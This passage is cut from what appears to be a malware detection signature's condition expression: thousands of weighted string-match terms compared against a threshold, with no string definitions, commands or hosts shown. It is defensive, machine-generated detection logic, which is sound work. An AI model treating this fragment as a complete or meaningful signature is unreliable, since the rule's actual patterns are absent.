1)*1+(#a_03_612 & 1)*1+(#a_03_613 & 1)*1+(#a_03_614 & 1)*1+(#a_03_615 & 1)*1+(#a_03_616 & 1)*1+(#a_01_617 & 1)*1+(#a_03_618 & 1)*1+(#a_03_619 & 1)*1+(#a_03_620 & 1)*1+(#a_03_621 & 1)*1+(#a_03_622 & 1)*1+(#a_03_623 & 1)*1+(#a_03_624 & 1)*1+(#a_03_625 & 1)*1+(#a_03_626 & 1)*1+(#a_03_627 & 1)*1+(#a_03_628 & 1)*1+(#a_03_629 & 1)*1+(#a_03_630 & 1)*1+(#a_03_631 & 1)*1+(#a_01_632 & 1)*1+(#a_01_633 & 1)*1+(#a_03_634 & 1)*1+(#a_03_635 & 1)*1+(#a_03_636 & 1)*1+(#a_03_637 & 1)*1+(#a_03_638 & 1)*1+(#a_03_639 & 1)*1+(#a_03_640 & 1)*1+(#a_03_641 & 1)*1+(#a_03_642 & 1)*1+(#a_01_643 & 1)*1+(#a_03_644 & 1)*1+(#a_03_645 & 1)*1+(#a_03_646 & 1)*1+(#a_03_647 & 1)*1+(#a_03_648 & 1)*1+(#a_03_649 & 1)*1+(#a_03_650 & 1)*1+(#a_03_651 & 1)*1+(#a_03_652 & 1)*1+(#a_03_653 & 1)*1+(#a_03_654 & 1)*1+(#a_03_655 & 1)*1+(#a_03_656 & 1)*1+(#a_03_657 & 1)*1+(#a_03_658 & 1)*1+(#a_03_659 & 1)*1+(#a_03_660 & 1)*1+(#a_03_661 & 1)*1+(#a_03_662 & 1)*1+(#a_03_663 & 1)*1+(#a_03_664 & 1)*1+(#a_03_665 & 1)*1+(#a_03_666 & 1)*1+(#a_03_667 & 1)*1+(#a_03_668 & 1)*1+(#a_03_669 & 1)*1+(#a_01_670 & 1)*1+(#a_03_671 & 1)*1+(#a_03_672 & 1)*1+(#a_03_673 & 1)*1+(#a_01_674 & 1)*1+(#a_03_675 & 1)*1+(#a_01_676 & 1)*1+(#a_03_677 & 1)*1+(#a_03_678 & 1)*1+(#a_03_679 & 1)*1+(#a_03_680 & 1)*1+(#a_03_681 & 1)*1+(#a_03_682 & 1)*1+(#a_03_683 & 1)*1+(#a_03_684 & 1)*1+(#a_03_685 & 1)*1+(#a_03_686 & 1)*1+(#a_03_687 & 1)*1+(#a_01_688 & 1)*1+(#a_03_689 & 1)*1+(#a_01_690 & 1)*1+(#a_01_691 & 1)*1+(#a_03_692 & 1)*1+(#a_01_693 & 1)*1+(#a_01_694 & 1)*1+(#a_03_695 & 1)*1+(#a_01_696 & 1)*1+(#a_01_697 & 1)*1+(#a_03_698 & 1)*1+(#a_03_699 & 1)*1+(#a_01_700 & 1)*1+(#a_03_701 & 1)*1+(#a_01_702 & 1)*1+(#a_01_703 & 1)*1+(#a_03_704 & 1)*1+(#a_01_705 & 1)*1+(#a_03_706 & 1)*1+(#a_03_707 & 1)*1+(#a_01_708 & 1)*1+(#a_03_709 & 1)*1+(#a_01_710 & 1)*1+(#a_03_711 & 1)*1+(#a_01_712 & 1)*1+(#a_03_713 & 1)*1+(#a_03_714 & 1)*1+(#a_03_715 & 1)*1+(#a_01_716 & 1)*1+(#a_03_717 & 1)*1+(#a_01_718 & 1)*1+(#a_01_719 & 1)*1+(#a_03_720 & 1)*1+(#a_03_721 & 1)*1+(#a_03_722 & 1)*1+(#a_03_723 & 1)*1+(#a_01_724 & 1)*1+(#a_03_725 & 1)*1+(#a_03_726 & 1)*1+(#a_03_727 & 1)*1+(#a_01_728 & 1)*1+(#a_03_729 & 1)*1+(#a_03_730 & 1)*1+(#a_01_731 & 1)*1+(#a_03_732 & 1)*1+(#a_01_733 & 1)*1+(#a_01_734 & 1)*1+(#a_03_735 & 1)*1+(#a_01_736 & 1)*1+(#a_03_737 & 1)*1+(#a_03_738 & 1)*1+(#a_01_739 & 1)*1+(#a_01_740 & 1)*1+(#a_03_741 & 1)*1+(#a_03_742 & 1)*1+(#a_03_743 & 1)*1+(#a_03_744 & 1)*1+(#a_03_745 & 1)*1+(#a_01_746 & 1)*1+(#a_03_747 & 1)*1+(#a_03_748 & 1)*1+(#a_01_749 & 1)*1+(#a_03_750 & 1)*1+(#a_01_751 & 1)*1+(#a_01_752 & 1)*1+(#a_01_753 & 1)*1+(#a_03_754 & 1)*1+(#a_01_755 & 1)*1+(#a_03_756 & 1)*1+(#a_03_757 & 1)*1+(#a_01_758 & 1)*1+(#a_03_759 & 1)*1+(#a_01_760 & 1)*1+(#a_03_761 & 1)*1+(#a_03_762 & 1)*1+(#a_03_763 & 1)*1+(#a_03_764 & 1)*1+(#a_03_765 & 1)*1+(#a_03_766 & 1)*1+(#a_03_767 & 1)*1+(#a_03_768 & 1)*1+(#a_03_769 & 1)*1+(#a_03_770 & 1)*1+(#a_03_771 & 1)*1+(#a_03_772 & 1)*1+(#a_03_773 & 1)*1+(#a_03_774 & 1)*1+(#a_03_775 & 1)*1+(#a_01_776 & 1)*1+(#a_03_777 & 1)*1+(#a_01_778 & 1)*1+(#a_01_779 & 1)*1+(#a_03_780 & 1)*1+(#a_03_781 & 1)*1+(#a_03_782 & 1)*1+(#a_01_783 & 1)*1+(#a_01_784 & 1)*1+(#a_03_785 & 1)*1+(#a_01_786 & 1)*1+(#a_01_787 & 1)*1+(#a_01_788 & 1)*1+(#a_03_789 & 1)*1+(#a_03_790 & 1)*1+(#a_03_791 & 1)*1+(#a_03_792 & 1)*1+(#a_03_793 & 1)*1+(#a_01_794 & 1)*1+(#a_03_795 & 1)*1+(#a_03_796 & 1)*1+(#a_03_797 & 1)*1+(#a_03_798 & 1)*1+(#a_03_799 & 1)*1+(#a_01_800 & 1)*1+(#a_03_801 & 1)*1+(#a_03_802 & 1)*1+(#a_03_803 & 1)*1+(#a_03_804 & 1)*1+(#a_01_805 & 1)*1+(#a_03_806 & 1)*1+(#a_03_807 & 1)*1+(#a_01_808 & 1)*1+(#a_03_809 & 1)*1+(#a_03_810 & 1)*1+(#a_03_811 & 1)*1+(#a_03_812 & 1)*1+(#a_03_813 & 1)*1+(#a_01_814 & 1)*1+(#a_03_815 & 1)*1+(#a_03_816 & 1)*1+(#a_03_817 & 1)*1+(#a_03_818 & 1)*1+(#a_03_819 & 1)*1+(#a_03_820 & 1)*1+(#a_03_821 & 1)*1+(#a_03_822 & 1)*1+(#a_03_823 & 1)*1+(#a_03_824 & 1)*1+(#a_03_825 & 1)*1+(#a_03_826 & 1)*1+(#a_03_827 & 1)*1+(#a_03_828 & 1)*1+(#a_03_829 & 1)*1+(#a_03_830 & 1)*1+(#a_03_831 & 1)*1+(#a_03_832 & 1)*1+(#a_03_833 & 1)*1+(#a_01_834 & 1)*1+(#a_03_835 & 1)*1+(#a_03_836 & 1)*1+(#a_03_837 & 1)*1+(#a_03_838 & 1)*1+(#a_03_839 & 1)*1+(#a_03_840 & 1)*1+(#a_03_841 & 1)*1+(#a_03_842 & 1)*1+(#a_03_843 & 1)*1+(#a_03_844 & 1)*1+(#a_03_845 & 1)*1+(#a_03_846 & 1)*1+(#a_03_847 & 1)*1+(#a_01_848 & 1)*1+(#a_01_849 & 1)*1+(#a_03_850 & 1)*1+(#a_03_851 & 1)*1+(#a_03_852 & 1)*1+(#a_03_853 & 1)*1+(#a_03_854 & 1)*1+(#a_03_855 & 1)*1+(#a_03_856 & 1)*1+(#a_01_857 & 1)*1+(#a_03_858 & 1)*1+(#a_03_859 & 1)*1+(#a_03_860 & 1)*1+(#a_01_861 & 1)*1+(#a_03_862 & 1)*1+(#a_03_863 & 1)*1+(#a_01_864 & 1)*1+(#a_01_865 & 1)*1+(#a_01_866 & 1)*1+(#a_03_867 & 1)*1+(#a_03_868 & 1)*1+(#a_03_869 & 1)*1+(#a_03_870 & 1)*1+(#a_03_871 & 1)*1+(#a_03_872 & 1)*1+(#a_00_873 & 1)*0+(#a_ce_878 & 1)*10752+(#a_00_880 & 1)*0+(#a_78_893 & 1)*29742+(#a_5e_894 & 1)*16872+(#a_90_951 & 1)*19712+(#a_20_952 & 1)*28526+(#a_09_953 & 1)*2849+(#a_00_969 & 1)*0+(#a_00_976 & 1)*0+(#a_78_995 & 1)*29742+(#a_bd_996 & 1)*0) >=1 + ((#a_72_0 & 1)*22051+(#a_f1_1 & 1)*273+(#a_00_2 & 1)*-28528+(#a_4d_3 & 1)*266+(#a_08_4 & 1)*-29952+(#a_33_5 & 1)*19851+(#a_00_6 & 1)*276+(#a_02_8 & 1)*-28511+(#a_90_9 & 1)*-30720+(#a_90_10 & 1)*-31806+(#a_44_11 & 1)*17176+(#a_43_12 & 1)*1+(#a_40_13 & 1)*3072+(#a_90_14 & 1)*-30503+(#a_4d_15 & 1)*64+(#a_90_16 & 1)*276+(#a_05_17 & 1)*-30208+(#a_88_18 & 1)*400+(#a_4c_19 & 1)*17171+(#a_00_20 & 1)*9484+(#a_8b_22 & 1)*13123+(#a_08_23 & 1)*15680+(#a_40_24 & 1)*4608+(#a_00_25 & 1)*513+(#a_00_27 & 1)*769+(#a_8a_29 & 1)*3584+(#a_01_30 & 1)*-3456+(#a_01_31 & 1)*-28431+(#a_32_33 & 1)*2816+(#a_10_34 & 1)*257+(#a_33_35 & 1)*9292+(#a_32_36 & 1)*-255+(#a_00_37 & 1)*780+(#a_03_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_03_43 & 1)*1+(#a_03_44 & 1)*1+(#a_01_45 & 1)*1+(#a_03_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_03_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_03_53 & 1)*1+(#a_01_54 & 1)*1+(#a_03_55 & 1)*1+(#a_01_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_01_61 & 1)*1+(#a_03_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_03_68 & 1)*1+(#a_03_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_03_74 & 1)*1+(#a_03_75 & 1)*1+(#a_03_76 & 1)*1+(#a_03_77 & 1)*1+(#a_03_78 & 1)*1+(#a_03_79 & 1)*1+(#a_03_80 & 1)*1+(#a_03_81 & 1)*1+(#a_03_82 & 1)*1+(#a_03_83 & 1)*1+(#a_03_84 & 1)*1+(#a_03_85 & 1)*1+(#a_03_86 & 1)*1+(#a_03_87 & 1)*1+(#a_03_88 & 1)*1+(#a_03_89 & 1)*1+(#a_03_90 & 1)*1+(#a_03_91 & 1)*1+(#a_03_92 & 1)*1+(#a_03_93 & 1)*1+(#a_03_94 & 1)*1+(#a_03_95 & 1)*1+(#a_03_96 & 1)*1+(#a_03_97 & 1)*1+(#a_03_98 & 1)*1+(#a_01_99 & 1)*1+(#a_03_100 & 1)*1+(#a_01_101 & 1)*1+(#a_03_102 & 1)*1+(#a_03_103 & 1)*1+(#a_03_104 & 1)*1+(#a_03_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1+(#a_03_108 & 1)*1+(#a_03_109 & 1)*1+(#a_03_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_03_115 & 1)*1+(#a_03_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_03_121 & 1)*1+(#a_03_122 & 1)*1+(#a_01_123 & 1)*1+(#a_03_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_03_127 & 1)*1+(#a_01_128 & 1)*1+(#a_03_129 & 1)*1+(#a_03_130 & 1)*1+(#a_03_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_03_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_03_142 & 1)*1+(#a_03_143 & 1)*1+(#a_03_144 & 1)*1+(#a_03_145 & 1)*1+(#a_03_146 & 1)*1+(#a_03_147 & 1)*1+(#a_03_148 & 1)*1+(#a_03_149 & 1)*1+(#a_03_150 & 1)*1+(#a_03_151 & 1)*1+(#a_03_152 & 1)*1+(#a_03_153 & 1)*1+(#a_03_154 & 1)*1+(#a_03_155 & 1)*1+(#a_03_156 & 1)*1+(#a_03_157 & 1)*1+(#a_03_158 & 1)*1+(#a_03_159 & 1)*1+(#a_01_160 & 1)*1+(#a_03_161 & 1)*1+(#a_03_162 & 1)*1+(#a_03_163 & 1)*1+(#a_03_164 & 1)*1+(#a_03_165 & 1)*1+(#a_03_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_03_170 & 1)*1+(#a_01_171 & 1)*1+(#a_03_172 & 1)*1+(#a_03_173 & 1)*1+(#a_01_174 & 1)*1+(#a_03_175 & 1)*1+(#a_03_176 & 1)*1+(#a_03_177 & 1)*1+(#a_03_178 & 1)*1+(#a_03_179 & 1)*1+(#a_03_180 & 1)*1+(#a_03_181 & 1)*1+(#a_03_182 & 1)*1+(#a_03_183 & 1)*1+(#a_03_184 & 1)*1+(#a_03_185 & 1)*1+(#a_03_186 & 1)*1+(#a_03_187 & 1)*1+(#a_03_188 & 1)*1+(#a_03_189 & 1)*1+(#a_03_190 & 1)*1+(#a_03_191 & 1)*1+(#a_03_192 & 1)*1+(#a_03_193 & 1)*1+(#a_03_194 & 1)*1+(#a_03_195 & 1)*1+(#a_01_196 & 1)*1+(#a_03_197 & 1)*1+(#a_03_198 & 1)*1+(#a_03_199 & 1)*1+(#a_03_200 & 1)*1+(#a_03_201 & 1)*1+(#a_03_202 & 1)*1+(#a_03_203 & 1)*1+(#a_03_204 & 1)*1+(#a_01_205 & 1)*1+(#a_03_206 & 1)*1+(#a_03_207 & 1)*1+(#a_03_208 & 1)*1+(#a_03_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_03_212 & 1)*1+(#a_03_213 & 1)*1+(#a_01_214 & 1)*1+(#a_03_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_03_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_03_221 & 1)*1+(#a_01_222 & 1)*1+(#a_03_223 & 1)*1+(#a_01_224 & 1)*1+(#a_03_225 & 1)*1+(#a_03_226 & 1)*1+(#a_03_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_03_232 & 1)*1+(#a_03_233 & 1)*1+(#a_03_234 & 1)*1+(#a_01_235 & 1)*1+(#a_03_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_03_239 & 1)*1+(#a_01_240 & 1)*1+(#a_03_241 & 1)*1+(#a_03_242 & 1)*1+(#a_01_243 & 1)*1+(#a_03_244 & 1)*1+(#a_03_245 & 1)*1+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_03_249 & 1)*1+(#a_03_250 & 1)*1+(#a_03_251 & 1)*1+(#a_03_252 & 1)*1+(#a_03_253 & 1)*1+(#a_03_254 & 1)*1+(#a_03_255 & 1)*1+(#a_01_256 & 1)*1+(#a_03_257 & 1)*1+(#a_01_258 & 1)*1+(#a_01_259 & 1)*1+(#a_03_260 & 1)*1+(#a_03_261 & 1)*1+(#a_03_262 & 1)*1+(#a_03_263 & 1)*1+(#a_01_264 & 1)*1+(#a_01_265 & 1)*1+(#a_01_266 & 1)*1+(#a_03_267 & 1)*1+(#a_03_268 & 1)*1+(#a_03_269 & 1)*1+(#a_03_270 & 1)*1+(#a_01_271 & 1)*1+(#a_01_272 & 1)*1+(#a_01_273 & 1)*1+(#a_01_274 & 1)*1+(#a_03_275 & 1)*1+(#a_03_276 & 1)*1+(#a_03_277 & 1)*1+(#a_03_278 & 1)*1+(#a_03_279 & 1)*1+(#a_03_280 & 1)*1+(#a_01_281 & 1)*1+(#a_01_282 & 1)*1+(#a_01_283 & 1)*1+(#a_01_284 & 1)*1+(#a_03_285 & 1)*1+(#a_03_286 & 1)*1+(#a_01_287 & 1)*1+(#a_01_288 & 1)*1+(#a_03_289 & 1)*1+(#a_03_290 & 1)*1+(#a_01_291 & 1)*1+(#a_01_292 & 1)*1+(#a_03_293 & 1)*1+(#a_03_294 & 1)*1+(#a_03_295 & 1)*1+(#a_03_296 & 1)*1+(#a_03_297 & 1)*1+(#a_01_298 & 1)*1+(#a_03_299 & 1)*1+(#a_03_300 & 1)*1+(#a_03_301 & 1)*1+(#a_03_302 & 1)*1+(#a_03_303 & 1)*1+(#a_03_304 & 1)*1+(#a_03_305 & 1)*1+(#a_03_306 & 1)*1+(#a_03_307 & 1)*1+(#a_03_308 & 1)*1+(#a_01_309 & 1)*1+(#a_01_310 & 1)*1+(#a_01_311 & 1)*1+(#a_03_312 & 1)*1+(#a_03_313 & 1)*1+(#a_01_314 & 1)*1+(#a_03_315 & 1)*1+(#a_01_316 & 1)*1+(#a_01_317 & 1)*1+(#a_03_318 & 1)*1+(#a_01_319 & 1)*1+(#a_01_320 & 1)*1+(#a_01_321 & 1)*1+(#a_01_322 & 1)*1+(#a_03_323 & 1)*1+(#a_03_324 & 1)*1+(#a_01_325 & 1)*1+(#a_03_326 & 1)*1+(#a_03_327 & 1)*1+(#a_01_328 & 1)*1+(#a_03_329 & 1)*1+(#a_03_330 & 1)*1+(#a_03_331 & 1)*1+(#a_01_332 & 1)*1+(#a_03_333 & 1)*1+(#a_03_334 & 1)*1+(#a_03_335 & 1)*1+(#a_01_336 & 1)*1+(#a_03_337 & 1)*1+(#a_03_338 & 1)*1+(#a_03_339 & 1)*1+(#a_03_340 & 1)*1+(#a_03_341 & 1)*1+(#a_03_342 & 1)*1+(#a_01_343 & 1)*1+(#a_01_344 & 1)*1+(#a_03_345 & 1)*1+(#a_03_346 & 1)*1+(#a_03_347 & 1)*1+(#a_03_348 & 1)*1+(#a_03_349 & 1)*1+(#a_01_350 & 1)*1+(#a_03_351 & 1)*1+(#a_01_352 & 1)*1+(#a_03_353 & 1)*1+(#a_01_354 & 1)*1+(#a_01_355 & 1)*1+(#a_01_356 & 1)*1+(#a_01_357 & 1)*1+(#a_01_358 & 1)*1+(#a_01_359 & 1)*1+(#a_03_360 & 1)*1+(#a_01_361 & 1)*1+(#a_03_362 & 1)*1+(#a_01_363 & 1)*1+(#a_01_364 & 1)*1+(#a_03_365 & 1)*1+(#a_01_366 & 1)*1+(#a_01_367 & 1)*1+(#a_01_368 & 1)*1+(#a_01_369 & 1)*1+(#a_01_370 & 1)*1+(#a_01_371 & 1)*1+(#a_03_372 & 1)*1+(#a_03_373 & 1)*1+(#a_03_374 & 1)*1+(#a_03_375 & 1)*1+(#a_03_376 & 1)*1+(#a_01_377 & 1)*1+(#a_03_378 & 1)*1+(#a_03_379 & 1)*1+(#a_01_380 & 1)*1+(#a_01_381 & 1)*1+(#a_03_382 & 1)*1+(#a_01_383 & 1)*1+(#a_01_384 & 1)*1+(#a_01_385 & 1)*1+(#a_01_386 & 1)*1+(#a_01_387 & 1)*1+(#a_03_388 & 1)*1+(#a_03_389 & 1)*1+(#a_01_390 & 1)*1+(#a_03_391 & 1)*1+(#a_03_392 & 1)*1+(#a_03_393 & 1)*1+(#a_03_394 & 1)*1+(#a_03_395 & 1)*1+(#a_03_396 & 1)*1+(#a_01_397 & 1)*1+(#a_01_398 & 1)*1+(#a_03_399 & 1)*1+(#a_03_400 & 1)*1+(#a_03_401 & 1)*1+(#a_03_402 & 1)*1+(#a_01_403 & 1)*1+(#a_03_404 & 1)*1+(#a_01_405 & 1)*1+(#a_03_406 & 1)*1+(#a_01_407 & 1)*1+(#a_03_408 & 1)*1+(#a_01_409 & 1)*1+(#a_01_410 & 1)*1+(#a_03_411 & 1)*1+(#a_01_412 & 1)*1+(#a_01_413 & 1)*1+(#a_01_414 & 1)*1+(#a_01_415 & 1)*1+(#a_03_416 & 1)*1+(#a_01_417 & 1)*1+(#a_03_418 & 1)*1+(#a_01_419 & 1)*1+(#a_03_420 & 1)*1+(#a_03_421 & 1)*1+(#a_01_422 & 1)*1+(#a_03_423 & 1)*1+(#a_03_424 & 1)*1+(#a_01_425 & 1)*1+(#a_01_426 & 1)*1+(#a_01_427 & 1)*1+(#a_01_428 & 1)*1+(#a_03_429 & 1)*1+(#a_01_430 & 1)*1+(#a_03_431 & 1)*1+(#a_03_432 & 1)*1+(#a_03_433 & 1)*1+(#a_01_434 & 1)*1+(#a_03_435 & 1)*1+(#a_03_436 & 1)*1+(#a_03_437 & 1)*1+(#a_03_438 & 1)*1+(#a_03_439 & 1)*1+(#a_03_440 & 1)*1+(#a_03_441 & 1)*1+(#a_03_442 & 1)*1+(#a_03_443 & 1)*1+(#a_03_444 & 1)*1+(#a_03_445 & 1)*1+(#a_01_446 & 1)*1+(#a_03_447 & 1)*1+(#a_03_448 & 1)*1+(#a_03_449 & 1)*1+(#a_03_450 & 1)*1+(#a_03_451 & 1)*1+(#a_03_452 & 1)*1+(#a_03_453 & 1)*1+(#a_03_454 & 1)*1+(#a_03_455 & 1)*1+(#a_03_456 & 1)*1+(#a_03_457 & 1)*1+(#a_03_458 & 1)*1+(#a_03_459 & 1)*1+(#a_03_460 & 1)*1+(#a_03_461 & 1)*1+(#a_03_462 & 1)*1+(#a_03_463 & 1)*1+(#a_01_464 & 1)*1+(#a_03_465 & 1)*1+(#a_03_466 & 1)*1+(#a_01_467 & 1)*1+(#a_03_468 & 1)*1+(#a_01_469 & 1)*1+(#a_03_470 & 1)*1+(#a_03_471 & 1)*1+(#a_03_472 & 1)*1+(#a_03_473 & 1)*1+(#a_03_474 & 1)*1+(#a_01_475 & 1)*1+(#a_03_476 & 1)*1+(#a_03_477 & 1)*1+(#a_03_478 & 1)*1+(#a_01_479 & 1)*1+(#a_03_480 & 1)*1+(#a_01_481 & 1)*1+(#a_01_482 & 1)*1+(#a_01_483 & 1)*1+(#a_03_484 & 1)*1+(#a_03_485 & 1)*1+(#a_03_486 & 1)*1+(#a_03_487 & 1)*1+(#a_01_488 & 1)*1+(#a_03_489 & 1)*1+(#a_03_490 & 1)*1+(#a_03_491 & 1)*1+(#a_01_492 & 1)*1+(#a_03_493 & 1)*1+(#a_03_494 & 1)*1+(#a_01_495 & 1)*1+(#a_03_496 & 1)*1+(#a_03_497 & 1)*1+(#a_03_498 & 1)*1+(#a_01_499 & 1)*1+(#a_03_500 & 1)*1+(#a_03_501 & 1)*1+(#a_03_502 & 1)*1+(#a_03_503 & 1)*1+(#a_03_504 & 1)*1+(#a_03_505 & 1)*1+(#a_03_506 & 1)*1+(#a_03_507 & 1)*1+(#a_03_508 & 1)*1+(#a_03_509 & 1)*1+(#a_03_510 & 1)*1+(#a_03_511 & 1)*1+(#a_03_512 & 1)*1+(#a_03_513 & 1)*1+(#a_03_514 & 1)*1+(#a_03_515 & 1)*1+(#a_03_516 & 1)*1+(#a_03_517 & 1)*1+(#a_03_518 & 1)*1+(#a_03_519 & 1)*1+(#a_03_520 & 1)*1+(#a_03_521 & 1)*1+(#a_03_522 & 1)*1+(#a_03_523 & 1)*1+(#a_03_524 & 1)*1+(#a_01_525 & 1)*1+(#a_03_526 & 1)*1+(#a_03_527 & 1)*1+(#a_03_528 & 1)*1+(#a_03_529 & 1)*1+(#a_03_530 & 1)*1+(#a_03_531 & 1)*1+(#a_03_532 & 1)*1+(#a_03_533 & 1)*1+(#a_03_534 & 1)*1+(#a_03_535 & 1)*1+(#a_03_536 & 1)*1+(#a_03_537 & 1)*1+(#a_03_538 & 1)*1+(#a_03_539 & 1)*1+(#a_03_540 & 1)*1+(#a_03_541 & 1)*1+(#a_03_542 & 1)*1+(#a_03_543 & 1)*1+(#a_03_544 & 1)*1+(#a_03_545 & 1)*1+(#a_03_546 & 1)*1+(#a_03_547 & 1)*1+(#a_03_548 & 1)*1+(#a_03_549 & 1)*1+(#a_03_550 & 1)*1+(#a_03_551 & 1)*1+(#a_03_552 & 1)*1+(#a_03_553 & 1)*1+(#a_03_554 & 1)*1+(#a_03_555 & 1)*1+(#a_03_556 & 1)*1+(#a_03_557 & 1)*1+(#a_03_558 & 1)*1+(#a_03_559 & 1)*1+(#a_03_560 & 1)*1+(#a_03_561 & 1)*1+(#a_03_562 & 1)*1+(#a_03_563 & 1)*1+(#a_03_564 & 1)*1+(#a_03_565 & 1)*1+(#a_03_566 & 1)*1+(#a_03_567 & 1)*1+(#a_01_568 & 1)*1+(#a_03_569 & 1)*1+(#a_03_570 & 1)*1+(#a_03_571 & 1)*1+(#a_03_572 & 1)*1+(#a_03_573 & 1)*1+(#a_03_574 & 1)*1+(#a_03_575 & 1)*1+(#a_03_576 & 1)*1+(#a_03_577 & 1)*1+(#a_01_578 & 1)*1+(#a_03_579 & 1)*1+(#a_03_580 & 1)*1+(#a_03_581 & 1)*1+(#a_03_582 & 1)*1+(#a_01_583 & 1)*1+(#a_03_584 & 1)*1+(#a_03_585 & 1)*1+(#a_01_586 & 1)*1+(#a_03_587 & 1)*1+(#a_01_588 & 1)*1+(#a_03_589 & 1)*1+(#a_03_590 & 1)*1+(#a_03_591 & 1)*1+(#a_01_592 & 1)*1+(#a_01_593 & 1)*1+(#a_01_594 & 1)*1+(#a_03_595 & 1)*1+(#a_01_596 & 1)*1+(#a_03_597 & 1)*1+(#a_03_598 & 1)*1+(#a_03_599 & 1)*1+(#a_03_600 & 1)*1+(#a_01_601 & 1)*1+(#a_01_602 & 1)*1+(#a_01_603 & 1)*1+(#a_03_604 & 1)*1+(#a_03_605 & 1)*1+(#a_03_606 & 1)*1+(#a_01_607 & 1)*1+(#a_01_608 & 1)*1+(#a_01_609 & 1)*1+(#a_01_610 & 1)*1+(#a_03_611 & 1)*1+(#a_03_612 & 1)*1+(#a_03_613 & 1)*1+(#a_03_614 & 1)*1+(#a_03_615 & 1)*1+(#a_03_616 & 1)*1+(#a_01_617 & 1)*1+(#a_03_618 & 1)*1+(#a_03_619 & 1)*1+(#a_03_620 & 1)*1+(#a_03_621 & 1)*1+(#a_03_622 & 1)*1+(#a_03_623 & 1)*1+(#a_03_624 & 1)*1+(#a_03_625 & 1)*1+(#a_03_626 & 1)*1+(#a_03_627 & 1)*1+(#a_03_628 & 1)*1+(#a_03_629 & 1)*1+(#a_03_630 & 1)*1+(#a_03_631 & 1)*1+(#a_01_632 & 1)*1+(#a_01_633 & 1)*1+(#a_03_634 & 1)*1+(#a_03_635 & 1)*1+(#a_03_636 & 1)*1+(#a_03_637 & 1)*1+(#a_03_638 & 1)*1+(#a_03_639 & 1)*1+(#a_03_640 & 1)*1+(#a_03_641 & 1)*1+(#a_03_642 & 1)*1+(#a_01_643 & 1)*1+(#a_03_644 & 1)*1+(#a_03_645 & 1)*1+(#a_03_646 & 1)*1+(#a_03_647 & 1)*1+(#a_03_648 & 1)*1+(#a_03_649 & 1)*1+(#a_03_650 & 1)*1+(#a_03_651 & 1)*1+(#a_03_652 & 1)*1+(#a_03_653 & 1)*1+(#a_03_654 & 1)*1+(#a_03_655 & 1)*1+(#a_03_656 & 1)*1+(#a_03_657 & 1)*1+(#a_03_658 & 1)*1+(#a_03_659 & 1)*1+(#a_03_660 & 1)*1+(#a_03_661 & 1)*1+(#a_03_662 & 1)*1+(#a_03_663 & 1)*1+(#a_03_664 & 1)*1+(#a_03_665 & 1)*1+(#a_03_666 & 1)*1+(#a_03_667 & 1)*1+(#a_03_668 & 1)*1+(#a_03_669 & 1)*1+(#a_01_670 & 1)*1+(#a_03_671 & 1)*1+(#a_03_672 & 1)*1+(#a_03_673 & 1)*1+(#a_01_674 & 1)*1+(#a_03_675 & 1)*1+(#a_01_676 & 1)*1+(#a_03_677 & 1)*1+(#a_03_678 & 1)*1+(#a_03_679 & 1)*1+(#a_03_680 & 1)*1+(#a_03_681 & 1)*1+(#a_03_682 & 1)*1+(#a_03_683 & 1)*1+(#a_03_684 & 1)*1+(#a_03_685 & 1)*1+(#a_03_686 & 1)*1+(#a_03_687 & 1)*1+(#a_01_688 & 1)*1+(#a_03_689 & 1)*1+(#a_01_690 & 1)*1+(#a_01_691 & 1)*1+(#a_03_692 & 1)*1+(#a_01_693 & 1)*1+(#a_01_694 & 1)*1+(#a_03_695 & 1)*1+(#a_01_696 & 1)*1+(#a_01_697 & 1)*1+(#a_03_698 & 1)*1+(#a_03_699 & 1)*1+(#a_01_700 & 1)*1+(#a_03_701 & 1)*1+(#a_01_702 & 1)*1+(#a_01_703 & 1)*1+(#a_03_704 & 1)*1+(#a_01_705 & 1)*1+(#a_03_706 & 1)*1+(#a_03_707 & 1)*1+(#a_01_708 & 1)*1+(#a_03_709 & 1)*1+(#a_01_710 & 1)*1+(#a_03_711 & 1)*1+(#a_01_712 & 1)*1+(#a_03_713 & 1)*1+(#a_03_714 & 1)*1+(#a_03_715 & 1)*1+(#a_01_716 & 1)*1+(#a_03_717 & 1)*1+(#a_01_718 & 1)*1+(#a_01_719 & 1)*1+(#a_03_720 & 1)*1+(#a_03_721 & 1)*1+(#a_03_722 & 1)*1+(#a_03_723 & 1)*1+(#a_01_724 & 1)*1+(#a_03_725 & 1)*1+(#a_03_726 & 1)*1+(#a_03_727 & 